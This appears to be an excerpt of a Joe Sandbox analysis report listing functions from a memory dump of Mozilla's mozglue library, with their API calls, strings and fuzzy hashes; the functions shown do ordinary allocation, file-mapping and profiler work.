Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 66aa5a0833324fa60b0de82abf3715e460e1bc783501e651ab6a1b86c527e2a3
Instruction ID: 2f305e3f688d0ed2e8eb71c9c224969827342a6f33d9ce131dc7cd59fbb20936
Opcode Fuzzy Hash: 66aa5a0833324fa60b0de82abf3715e460e1bc783501e651ab6a1b86c527e2a3
Instruction Fuzzy Hash: 825181716097408BDB10DF6CC48129AFBF4BF9A304F008A2DE9D5A7651E770D985CB52

Function 6C954480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C994843,?), ref: 6C9545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C994843,?), ref: 6C95468A
free.MOZGLUE(?,?,?,?,?,?,6C994843,?), ref: 6C9546C9
free.MOZGLUE(?), ref: 6C9546EF
free.MOZGLUE(?), ref: 6C954712
free.MOZGLUE(?), ref: 6C954735
free.MOZGLUE(?), ref: 6C954758
free.MOZGLUE(?), ref: 6C95477B
free.MOZGLUE(?), ref: 6C95479E

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 1297ab7353abfaaf5ee4baef0893af31b347e8342cbd31d04d5094d9dc3d3efa
Instruction ID: d983f65b9de8d24cbfc5b157c8a1ff2378b82593203f650b9622bf2c08de5b40
Opcode Fuzzy Hash: 1297ab7353abfaaf5ee4baef0893af31b347e8342cbd31d04d5094d9dc3d3efa
Instruction Fuzzy Hash: BFB1F171A011118FDB58CF3CC89076D76A6AF42328F980668E916DBBC6D730D8748F92

Function 6C9BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C9BAC52
CreateFileMappingW.KERNEL32 ref: 6C9BAC7D
GetSystemInfo.KERNEL32 ref: 6C9BAC98
MapViewOfFile.KERNEL32 ref: 6C9BACB0
GetSystemInfo.KERNEL32 ref: 6C9BACCD
MapViewOfFile.KERNEL32 ref: 6C9BAD05
UnmapViewOfFile.KERNEL32 ref: 6C9BAD1C
CloseHandle.KERNEL32 ref: 6C9BAD28
UnmapViewOfFile.KERNEL32 ref: 6C9BAD37
CloseHandle.KERNEL32 ref: 6C9BAD43
CloseHandle.KERNEL32 ref: 6C9BAD67

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 8d8511822635d51785a2e82fc9c84ed3b87707babbf5359f1c9fc8f3c1720869
Instruction ID: 9df12873fcc3f648080faf1df3ee66efcb02c3aae138d4fd81af54b2714c495e
Opcode Fuzzy Hash: 8d8511822635d51785a2e82fc9c84ed3b87707babbf5359f1c9fc8f3c1720869
Instruction Fuzzy Hash: 0F3180B19087059FDB00AF7CC64826EBBF0BF85305F114A2DE985A7211EF70A588CB92

Function 6C969620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C969675
__Init_thread_footer.LIBCMT ref: 6C969697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C969707
__Init_thread_footer.LIBCMT ref: 6C96971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969773

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9697B7
FreeLibrary.KERNEL32 ref: 6C9697D0
FreeLibrary.KERNEL32 ref: 6C9697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969824

Strings

ntdll.dll, xrefs: 6C9696E3
MapViewOfFileNuma2, xrefs: 6C9697B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C969670
NtMapViewOfSection, xrefs: 6C969701

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 07f587d06aec6f2552e753c9200bd7a47f90861dcd5374c574285589249b8f08
Instruction ID: 71d99af88873ccbb9ca1b5f81e71a8ad70b3f8e4eb83b59b7db1030189233b34
Opcode Fuzzy Hash: 07f587d06aec6f2552e753c9200bd7a47f90861dcd5374c574285589249b8f08
Instruction Fuzzy Hash: C741B5717046069BEF00CFA5D885AD6B7B4FB49B68F228529ED15A7B80D730F844CBA1

Function 6C951E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C951EC1
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951EE1
EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C951F38
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C951F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C951F83
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951FC0
EnterCriticalSection.KERNEL32(6C9DE784), ref: 6C951FE2
LeaveCriticalSection.KERNEL32(6C9DE784), ref: 6C951FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C952019

Strings

MOZ_CRASH(), xrefs: 6C952000

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 0713831c05c8217e61b84f73bfb1f5c9043a8f03b0b37e7e13a824b15927fe6d
Instruction ID: c0ba08201beb5524a2ff095b18dfa91ea132a3dff9d0115627b3d99dc1c6d19f
Opcode Fuzzy Hash: 0713831c05c8217e61b84f73bfb1f5c9043a8f03b0b37e7e13a824b15927fe6d
Instruction Fuzzy Hash: DA41F371B05B0A8BDB40DFB8C884B6A7BB5EB5A748F110129ED04A7740D771E854CBD5

Function 6C9A0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C9A0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9A0041
GetCurrentThreadId.KERNEL32 ref: 6C9A0075
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C9A0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C9A0090
free.MOZGLUE(?), ref: 6C9A0104
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C9A011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C9A005B

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: bc9cb17663f71158531a247729265b75e654866f0264ead2e80d2e8030270071
Instruction ID: 9fc5920f83300a954fcd4109903853ec2444afa5f56ec9c2042d045a4a361f37
Opcode Fuzzy Hash: bc9cb17663f71158531a247729265b75e654866f0264ead2e80d2e8030270071
Instruction Fuzzy Hash: 5E41EFB1604A54DFCB10CF64C844A9ABBF0FF69318F14491EE94AA3B40DB31F955CBA2

Function 6C967E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C967EA7
malloc.MOZGLUE(00000001), ref: 6C967EB3

Part of subcall function 6C96CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C96CB49
Part of subcall function 6C96CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C96CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C967EC4
mozalloc_abort.MOZGLUE(?), ref: 6C967F19
malloc.MOZGLUE(?), ref: 6C967F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C967F4D

Strings

d, xrefs: 6C967F89

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: c2c08429d022bb8c4b17198f086a4237d06d0c694b8b4a6cb08993755985ff93
Instruction ID: f71660a51bfc7c33d6af84959794149133f3c219dc61652618b1c921e0ce54c1
Opcode Fuzzy Hash: c2c08429d022bb8c4b17198f086a4237d06d0c694b8b4a6cb08993755985ff93
Instruction Fuzzy Hash: 77310962E0468897EB009B29CC049FEB778EFA6208F155629ED4957752FB30E6C8C391

Function 6C963E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C963EEE
RtlFreeHeap.NTDLL ref: 6C963FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C964006
RtlFreeHeap.NTDLL ref: 6C9640A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C9640AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C9640C2
RtlFreeHeap.NTDLL ref: 6C964134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C964143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C963CCC), ref: 6C964157

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 674c412cf7787f45c8908d4493b16a1839ee3ed121a15ec08fd5a2d23c6253d4
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: ECA193B1A00215CFEB40CF6AC880669BBF5FF58308F254159D909AFB82D771E956CFA1

Function 6C952030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C973F47,?,?,?,6C973F47,6C971A70,?), ref: 6C95207F
memset.VCRUNTIME140(?,000000E5,6C973F47,?,6C973F47,6C971A70,?), ref: 6C9520DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C973F47,6C971A70,?), ref: 6C95211A
EnterCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C952145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C973F47,6C971A70,?), ref: 6C9521BA
EnterCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C9521E0
LeaveCriticalSection.KERNEL32(6C9DE744,?,6C973F47,6C971A70,?), ref: 6C952232

Strings

MOZ_CRASH(), xrefs: 6C95227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C952253, 6C952268

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: a587bef126b9a0bc5a310de1909375f17953702deec3efae8ac663c547fa6940
Instruction ID: 828c2a068095a41296b05bd92f71a6f3781519bce968bec21777f9496497eda7
Opcode Fuzzy Hash: a587bef126b9a0bc5a310de1909375f17953702deec3efae8ac663c547fa6940
Instruction Fuzzy Hash: FA61E432F04A068FCB08CB68C88976E77B5AF95318F694239E524B7A84D770E950CB91

Function 6C9548E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6C99483A,?), ref: 6C954ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6C99483A,?), ref: 6C954AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6C99483A,?), ref: 6C954A82

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6C99483A,?), ref: 6C954A97
moz_xmalloc.MOZGLUE(15D4E801,?,6C99483A,?), ref: 6C954A35

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6C99483A,?), ref: 6C954A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6C99483A,?), ref: 6C954AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6C99483A,?), ref: 6C954B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6C99483A,?), ref: 6C954B2C

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: c836c6404b59a98b96fd366800bf56677edf28e9e2258f747483ae3a99bfd716
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 9E716AB19007469FCB94CF68C490AAAB7F5FF18308B504A3EE15A9BF41E731E565CB81

Function 6C9A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9A8273), ref: 6C9A9D65
free.MOZGLUE(6C9A8273,?), ref: 6C9A9D7C
free.MOZGLUE(?,?), ref: 6C9A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9A9E0F
free.MOZGLUE(6C9A946B,?,?), ref: 6C9A9E24
free.MOZGLUE(?,?,?), ref: 6C9A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9A9EC8
free.MOZGLUE(6C9A946B,?,?,?), ref: 6C9A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C9A9EF5

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: ea87678850254c977f1749df3b1565b7a4f658cbc270e975dbc3f1d92ae8ce37
Instruction ID: cc66e0434c47908e726fe05c1e405c7b9c056a102bd7088a109864a2d0e3a87c
Opcode Fuzzy Hash: ea87678850254c977f1749df3b1565b7a4f658cbc270e975dbc3f1d92ae8ce37
Instruction Fuzzy Hash: 6271C0B090AB419BD712CF58C48055BF3F4FFA9315B558619E84A5BB02EB31E8C6CB91

Function 6C9ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C9ADDCF

Part of subcall function 6C98FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C98FA4B

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADE0D
free.MOZGLUE(00000000), ref: 6C9ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C99DEFD,?,6C964A68), ref: 6C9ADF32

Part of subcall function 6C9ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9ADB86
Part of subcall function 6C9ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C99DEFD,?,6C964A68), ref: 6C9ADF65
free.MOZGLUE(?), ref: 6C9ADF80

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 02ac4593aad7038780de6ae4d8bb78bda0d6a179f01ddf464bcc15fa01e07d48
Instruction ID: 07a09c6d8a3f1bb89c0f9a03b58a6716fb9ee755bcb51460da20ac7cc5e3b0ad
Opcode Fuzzy Hash: 02ac4593aad7038780de6ae4d8bb78bda0d6a179f01ddf464bcc15fa01e07d48
Instruction Fuzzy Hash: E751C8736056119BD7219B98C8806AFB376BFA5308FA5051CDC5A63B00D731F95BCB92

Function 6C9B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5DC9
std::_Facet_Register.LIBCPMT ref: 6C9B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5E45

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757954028.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 6cdb6995b18dd274a150c42f0f20349e94a623352bb42e798adf628be66697aa
Instruction ID: 986482af42913d889fa8551e66f2f1c07d4f3915cc1bd64038be01e92479de3a
Opcode Fuzzy Hash: 6cdb6995b18dd274a150c42f0f20349e94a623352bb42e798adf628be66697aa
Instruction Fuzzy Hash: 6441A270704304AFDB00DFA5C898AAE77BAEF9D314F144168E50AAB791DB30ED45CB61

Function 6C98CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C9531A7), ref: 6C98CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C98CFA4, 6C98CFB8
<jemalloc>, xrefs: 6C98CF9F, 6C98CFB3

Memory Dump Source

Source File: 00000001.00000002.2757838612.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2757799848.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757899724.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2757927533.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
